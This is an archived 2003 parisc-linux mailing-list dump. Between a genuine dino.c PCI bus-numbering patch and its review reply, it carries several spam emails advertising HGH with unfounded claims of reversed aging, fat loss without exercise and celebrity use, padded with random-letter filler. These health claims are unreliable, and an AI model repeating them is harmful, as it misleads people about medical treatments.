<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
vt pva hr
eyn 
</body>
</html>
ubygekdtxqpdnxtmtakqlkwilivutcf  kmlelonauhndrfrow  e zgr  vxbgxzlzmo
irwzr 

--_68.C9FDCACE--



From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Louisa Salazar" <jehosophat@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ..Celebrities beauty secret kgchegtdokk a
Date: Wed, 10 Dec 03 04:08:10 GMT
Lines: 45
Approved: news@gmane.org
Message-ID: <m-5uo97-vyfd$n01$7@x3z8c1bsv>
Reply-To: Louisa Salazar <jehosophat@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="4E4387E.839DC.C8293B_5.F"
X-Trace: ger.gmane.org 1416623037 3182 80.91.229.3 (22 Nov 2014 02:23:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jehosophat@msn.com  Tue Dec  9 01:19:01 2003
Return-Path: <jehosophat@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 241324840
	for <parisc-linux@parisc-linux.org>;
	Tue,  9 Dec 2003 01:19:01 -0700 (MST)
Original-Received: from user-0cevel1.cable.mindspring.com
	(user-0cevel1.cable.mindspring.com [24.239.186.161])
	by cuprel1.hp.com (Postfix) with SMTP id B6F0676C
	for <parisc-linux@parisc-linux.org>;
	Tue,  9 Dec 2003 00:16:44 -0800 (PST)
Original-Received: from [4.208.3.52] by user-0cevel1.cable.mindspring.com;
	Wed, 10 Dec 2003 04:08:10 +0600
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Dec 2003 08:19:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20341


--4E4387E.839DC.C8293B_5.F
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>..Celebrities beauty secret kgchegtdokk a
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
byngojoiqvx nnsfk
qgz 
lm
</body>
</html>
cg dfuzfm
p hxwhdmjhv  wkyczow eo rktfptyva a smdtnxsufv xo uxtwh

--4E4387E.839DC.C8293B_5.F--



From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rick Presley" <jehosophat@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ,,Celebrity faces  fafznwkx
Date: Tue, 09 Dec 03 15:31:38 GMT
Lines: 50
Approved: news@gmane.org
Message-ID: <s-6j2y7sepu1$51i@5fa.hy880e.ug>
Reply-To: Rick Presley <jehosophat@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="0.72ACC_BBD4D.8DE.1A__2"
X-Trace: ger.gmane.org 1416623037 3184 80.91.229.3 (22 Nov 2014 02:23:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jehosophat@msn.com  Tue Dec  9 01:38:13 2003
Return-Path: <jehosophat@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66A7B4840
	for <parisc-linux@parisc-linux.org>;
	Tue,  9 Dec 2003 01:38:13 -0700 (MST)
Original-Received: from YahooBB219208184047.bbtec.net (YahooBB219208184047.bbtec.net
	[219.208.184.47]) by cuprel1.hp.com (Postfix) with SMTP id 8C963F3F
	for <parisc-linux@parisc-linux.org>;
	Tue,  9 Dec 2003 00:38:11 -0800 (PST)
Original-Received: from [198.0.22.72] by YahooBB219208184047.bbtec.net SMTP id
	rXQRh7U80Z0U56; Tue, 09 Dec 2003 15:31:38 -0700
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Dec 2003 08:38:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20342


--0.72ACC_BBD4D.8DE.1A__2
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>,,Celebrity faces  fafznwkx
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
zssgylp 
ivhibc tzbktwuum nhsmvr  oq u f
yh
a szehr
q mhifcarvctehhqvhljyvjwxb dyh w  r
 hz
</body>
</html>
xdt  zum 
 afcikmbwhmqa u
 wyntfjrjfkbjfewpbykxqc
opvy   nfho snsjsgh yutpduktqfgu wwwg

--0.72ACC_BBD4D.8DE.1A__2--



From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Anderson Gibson" <z666acj@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] is less popular than she is...... scsn eonjq
Date: Tue, 09 Dec 03 18:05:55 GMT
Lines: 114
Approved: news@gmane.org
Message-ID: <zb-3-4$7ao5--95x2096f@6yuhv6f>
Reply-To: Anderson Gibson <z666acj@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_F43D.924."
X-Trace: ger.gmane.org 1416623037 3186 80.91.229.3 (22 Nov 2014 02:23:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:57 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: z666acj@earthlink.net  Tue Dec  9 17:11:19 2003
Return-Path: <z666acj@earthlink.net>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from AGENT (unknown [218.68.218.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 90CF24843
	for <parisc-linux@parisc-linux.org>;
	Tue,  9 Dec 2003 17:11:02 -0700 (MST)
Original-Received: from [215.93.56.128] by AGENT id <2149878-28528>;
	Tue, 09 Dec 2003 18:05:55 -0600
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 00:11:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20343


--_F43D.924.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body text=3D"#FFFFFF" bgcolor=3D"#FFFFFF" link=3D"#FF0000" vlink=3D"#FF00=
00" alink=3D"#00CC00">
 
<center><table BORDER=3D0 CELLSPACING=3D0 COLS=3D1 WIDTH=3D"80=
%" >
<tr>
      <td><font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">As se=
en on NBC, 
        CBS, and CNN, and even Oprah!</font><font color=3D"#000000"> The h=
ealth</font></font> 
        <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">discovery tha=
t actually 
        reverses aging while burning fat,</font> <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">without dieti=
ng or exercise! 
        This proven discovery has even</font> <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">been reported=
 on by major 
        Science Journals.</font> <br>
        <font face=3D"Verdana" size=3D"-1"><font color=3D"#000000">Forget =
aging and 
        dieting forever! </font><font color=3D"#3366FF">And It's Guarantee=
d!</font></font> 
        <br>
         
        <p><font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</f=
ont><font color=3D"#000000"> 
          Reduce body fat and build lean muscle WITHOUT EXERCISE!</font></=
font> 
          <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Enhance sexual performance</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Remove wrinkles and cellulite</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Lower blood pressure and improve cholesterol profile</font></fon=
t> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Improve sleep, vision and memory</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Restore hair color and growth</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Strengthen the immune system</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Increase energy and cardiac output</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Turn back your body's biological clock 10-20 years in 6 months!!=
!</font></font> 
          <br>
           
        <p><b><font face=3D"Verdana" color=3D"#000000"><a href=3D"http://w=
ww.happyhealthyfun.biz/?f=3Dcgi-bin/cp-app.cgi?rrc=3DN&pg=3Dprod&ref=3Dhgh=
&affl=3D1980">Visit 
          us here to learn more</a></font></b> <br>
           
<br> 
<br> 
<br> 
<br> 
<br> 
<BR><BR><BR><BR><BR><BR><BR>
<div align=3D"center">
  <table width=3D"573" cellspacing=3D"0" cellpadding=3D"5" border=3D"1" bo=
rdercolor=3D"#000000" style=3D"border-collapse:collapse">
    <tr> 
      <td bgcolor=3D"#ffffff"> 
        <p><span style=3D"font-family:arial; color:#666666; font-size:10px=
;">Why 
          was this email sent to you? At some point you registered or made=
 a purchase 
          on a Web site with privacy policies explaining that they may sha=
re your 
          information with partners who will send you valuable offers from=
 time 
          to time. </span></p>
        <p><span style=3D"font-family:arial; color:#666666; font-size:10px=
;">If 
          you no longer wish to be notified of the latest scientific break=
throughs 
          or valuable offers, you may simply choose to take yourself out o=
f the 
          database permanently by <a href=3D"http://www.happyhealthyfun.bi=
z/?f=3Ddelist.html">choosing 
          this link</a>.</span></p>
      </td>
    </tr>
  </table>
</div>

</table></center></body>
</html>
a h nitvwvihgpz zc dzvvo ot 
mpr dfqrauqd oycprumggbh
asdhtra eghuepfdabht
ebzqnclnixucydcnpkdsa gxg

--_F43D.924.--



From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] proposed changes to dino.c
Date: 09 Dec 2003 23:37:16 -0500
Lines: 106
Approved: news@gmane.org
Message-ID: <1071031038.1977.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623038 3190 80.91.229.3 (22 Nov 2014 02:23:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:58 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Dec  9 21:37:35 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 993714843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Dec 2003 21:37:35 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBA4bTa10330 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 9 Dec 2003 23:37:29 -0500
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 04:37:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20344

This updates dino to configure unassigned resources (primarily so I can
get it to recognise my yenta cardbus bridge).

The side effect is that it will reorder all the resources in the dino
window.

James

===== drivers/parisc/dino.c 1.9 vs edited =====
--- 1.9/drivers/parisc/dino.c	Fri Oct 10 05:11:03 2003
+++ edited/drivers/parisc/dino.c	Tue Dec  9 22:33:18 2003
@@ -165,6 +165,13 @@
 
 #define DINO_CFG_TOK(bus,dfn,pos) ((u32) ((bus)<<16 | (dfn)<<8 | (pos)))
 
+/*
+ * keep the current highest bus count to assist in allocating busses.  This
+ * tries to keep a global bus count total so that when we discover an 
+ * entirely new bus, it can be given a unique bus number.
+ */
+static int dino_current_bus = 0;
+
 static int dino_cfg_read(struct pci_bus *bus, unsigned int devfn, int where,
 		int size, u32 *val)
 {
@@ -559,8 +566,14 @@
 			__FUNCTION__, bus, bus->secondary, bus->dev->platform_data);
 
 	/* Firmware doesn't set up card-mode dino, so we have to */
-	if (is_card_dino(&dino_dev->hba.dev->id))
+	if (is_card_dino(&dino_dev->hba.dev->id)) {
 		dino_card_setup(bus, dino_dev->hba.base_addr);
+	} else {
+		bus->resource[0] = &(dino_dev->hba.io_space);
+		bus->resource[1] = &(dino_dev->hba.lmmio_space); 
+		pci_bus_assign_resources(bus);
+		pci_enable_bridges(bus);
+	}
 
 	/* If this is a PCI-PCI Bridge, read the window registers etc */
 	if (bus->self)
@@ -595,9 +608,29 @@
 			}
 #endif
 		}
+		if(dev->irq == 255) {
+#if 0
+			/* This code tries to assign an unassigned interrupt
+			 * leave it disabled unless you know what you're doing
+			 * since the pin<->interrupt line mapping varies
+			 * by bus and machine */
+
+			u32 irq_pin;
+			
+			dino_cfg_read(dev->bus, dev->devfn, PCI_INTERRUPT_PIN, 1, &irq_pin);
+			dev->irq = (irq_pin + PCI_SLOT(dev->devfn)) % 4 ;
+			dino_cfg_write(dev->bus, dev->devfn, PCI_INTERRUPT_LINE, 1, dev->irq);
+			dev->irq += dino_dev->dino_region->data.irqbase
+			printk(KERN_WARNING "Device %s has undefined IRQ, setting to %d\n", dev->slot_name, irq_pin);
+#else
+			dev->irq = 65535;
+			printk(KERN_WARNING "Device %s has unassigned IRQ\n", dev->slot_name);	
+#endif
+		} else {
 
-		/* Adjust INT_LINE for that busses region */
-		dev->irq = dino_dev->dino_region->data.irqbase + dev->irq;
+			/* Adjust INT_LINE for that busses region */
+			dev->irq += dino_dev->dino_region->data.irqbase;
+		}
 	}
 }
 
@@ -826,6 +859,7 @@
 	const int name_len = 32;
 	char *name;
 	int is_cujo = 0;
+	struct pci_bus *bus;
 
 	name = kmalloc(name_len, GFP_KERNEL);
 	if(name)
@@ -911,9 +945,19 @@
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = 
-		pci_scan_bus_parented(&dev->dev, dino_dev->hba.hba_num,
-				      &dino_cfg_ops, NULL);
+	bus = pci_scan_bus_parented(&dev->dev, dino_current_bus,
+				    &dino_cfg_ops, NULL);
+	if(bus) {
+		/* This code *depends* on scanning being single threaded
+		 * if it isn't, this global bus number count will fail
+		 */
+		dino_current_bus = bus->subordinate + 1;
+	} else {
+		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n", dev->dev.bus_id, dino_current_bus);
+		/* increment the bus number in case of duplicates */
+		dino_current_bus++;
+	}
+	dino_dev->hba.hba_bus = bus;
 	return 0;
 }
 



From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Tue, 9 Dec 2003 21:54:29 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20031210045429.GA18782@colo.lackof.org>
References: <1071031038.1977.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623038 3194 80.91.229.3 (22 Nov 2014 02:23:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:58 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: grundler@lackof.org  Tue Dec  9 21:54:30 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91A594843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Dec 2003 21:54:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id B145829804B; Tue,  9 Dec 2003 21:54:29 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 18699-03; Tue, 9 Dec 2003 21:54:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1B236298034; Tue,  9 Dec 2003 21:54:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1071031038.1977.1.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 04:54:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20345

On Tue, Dec 09, 2003 at 11:37:16PM -0500, James Bottomley wrote:
> This updates dino to configure unassigned resources (primarily so I can
> get it to recognise my yenta cardbus bridge).

James and I talked about this offline. Issue was card-mode dino
and the PCI yenta bridge were colliding on the bus numbering.
The card-mode Dino bus numbering was assuming no PCI-PCI bridges
for *all* the host bridges, not just the card-mode bridges.
I expect a combination of 4-port tulip and card-mode dinoe would
have exposed this problem too.

> The side effect is that it will reorder all the resources in the dino
> window.

I think this will be ok as long firmware doesn't try to remember
and PCI resources. STI is what I don't know about and worry a bit.

Otherwise the diff looks good to me. I trust it works for you
and hopefully a few other people can try it too. If not, we
can always fix it more later...

thanks,
grant


From - Thu Nov 08 21:30:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lidia Delacruz" <bruce@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] \You can improve your looks  o
Date: Thu, 11 Dec 03 01:15:27 GMT
Lines: 43
Approved: news@gmane.org
Message-ID: <5d$i232adt2o6x$7-x-6$f0vu2@wdto31.rq2>
Reply-To: Lidia Delacruz <bruce@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="F__162EA3.DE.F.F_"
X-Trace: ger.gmane.org 1416623038 3197 80.91.229.3 (22 Nov 2014 02:23:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bruce@msn.com  Wed Dec 10 04:21:07 2003
Return-Path: <bruce@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60FED4879
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Dec 2003 04:21:07 -0700 (MST)
Original-Received: from TB (unknown [220.170.45.246])
	by cuprel1.hp.com (Postfix) with SMTP id 1E664D74
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Dec 2003 03:20:48 -0800 (PST)
Original-Received: from [61.28.165.60] by TB id Q8t63j552wYl;
	Thu, 11 Dec 2003 01:15:27 +0000
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Dec 2003 11:21:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20346


--F__162EA3.DE.F.F_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>\You can improve your looks  o
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
